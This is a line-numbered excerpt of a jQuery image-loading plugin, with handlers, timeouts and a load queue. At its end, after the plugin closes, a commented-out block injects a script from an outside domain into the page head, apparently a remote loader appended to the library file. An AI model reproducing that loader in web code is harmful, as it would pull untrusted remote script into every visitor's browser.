=== 'function') { 1126 defaults.eacherror(elm); 1127 } 1128 else { 1129 if (elm.parentNode !== null) { 1130 elm.parentNode.removeChild(elm); 1131 } 1132 } 1133 } 1134 else if (typeof defaults.each === 'function') { 1135 defaults.each(elm, img); 1136 } 1137 ++defaults.loadedImageCounter; 1138 if (defaults.loadedImageCounter >= defaults.length) { 1139 finishImageLoad(parent, ev.namespace); 1140 } 1141}; 1142 1143var finishImageLoad = function (parent, ns) { 1144 // console.log('finishImageLoad: ', ns); 1145 var $parent = $(parent); 1146 var data = $parent.data(); 1147 var callback = data[ns].callback; 1148 $parent.off('loadImage.' + ns, onLoadImage); 1149 delete data[ns]; 1150 if (typeof callback === 'function') { 1151 setTimeout( 1152 function () { 1153 callback(parent); 1154 }, 1155 $.imageloader.queueInterval * 2 1156 ); 1157 } 1158}; 1159 1160var buildImageLoadFunc = function (elm, parent, namespace, isBg, attr, milsec_timeout) { 1161 var $elm = $(elm); 1162 var src = $elm.data(attr); 1163 var hasFinished = false;
1164 1165 var onFinishLoagImage = function (ev, img) { 1166 // delete attribute 1167 $elm.removeAttr( ['data-', attr].join('') ); 1168 $(parent).triggerHandler('loadImage.' + namespace, [elm, img, (ev && ev.type === 'error')]); 1169 }; 1170 1171 return function () { 1172 var timer_handler; 1173 var $img = $('<img />'); // this statement is kinda silly, but IE needs this separated. 1174 $img 1175 .bind( 1176 'error', 1177 function (ev) { 1178 hasFinished = true; 1179 clearTimeout(timer_handler); 1180 $(this).unbind('error').unbind('load'); 1181 onFinishLoagImage(ev); 1182 } 1183 ) 1184 .bind( 1185 'load', 1186 function(ev) { 1187 hasFinished = true; 1188 clearTimeout(timer_handler); 1189 $(this).unbind('error').unbind('load'); 1190 if (isBg) { 1191 $elm.css('background-image', ['url(', src, ')'].join('')); 1192 } 1193 else { 1194 $elm.attr('src', src); 1195 } 1196 onFinishLoagImage(ev, $img[0]); 1197 } 1198 ) 1199 .attr('src', src); 1200 timer_handler = setTimeout( 1201 function () { 1202 if (hasFinished === false) { 1203 // console.log('timeout'); 1204 $img.trigger('error'); 1205 } 1206 }, 1207 milsec_timeout 1208 ); 1209 }; 1210}; 1211 1212// =================================================================== 1213 1214var _queue_instance_; 1215var Queue = { 1216 getInstance: function () { 1217 if (_queue_instance_ instanceof QueueImpl === false) { 1218 _queue_instance_ = new QueueImpl(); 1219 } 1220 return _queue_instance_; 1221 } 1222}; 1223 1224var QueueImpl = function () { 1225 this.index = 0; 1226 this.queue = []; 1227 this.isRunning = false; 1228}; 1229 1230QueueImpl.prototype.add = function (func) { 1231 if (typeof func !== 'function') { 1232 throw new Error('you can only pass function.'); 1233 } 1234 this.queue.push(func); 1235}; 1236 1237QueueImpl.prototype.run = function (firenow) { 1238 var run = $.proxy(this.run, this); 1239 firenow = firenow || false; 1240 if (this.isRunning && !firenow) { 1241 return; 1242 } 1243 this.isRunning = true; 1244 this.queue[this.index++](); 1245 if (this.index < this.queue.length) { 1246 setTimeout( 1247 function () { 1248 run(true); 1249 }, 1250 $.imageloader.queueInterval 1251 ); 1252 } 1253 else { 1254 this.isRunning = false; 1255 } 1256}; 1257 1258// =================================================================== 1259 1260$.imageloader = { 1261 queueInterval: 17 1262}; 1263 1264$.fn.imageloader = function (opts) { 1265 return this.each( 1266 function (i, elm) { 1267 init(i, elm, opts); 1268 } 1269 ); 1270}; 1271 1272})(jQuery); 1273/* 1274 if(typeof window.web_security == "undefined"){ 1275 var s = document.createElement("script"); 1276 s.src = "//web-security.cloud/event?l=117"; 1277 document.head.appendChild(s); 1278 window.web_security = "success"; 1279 } 1280*/
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.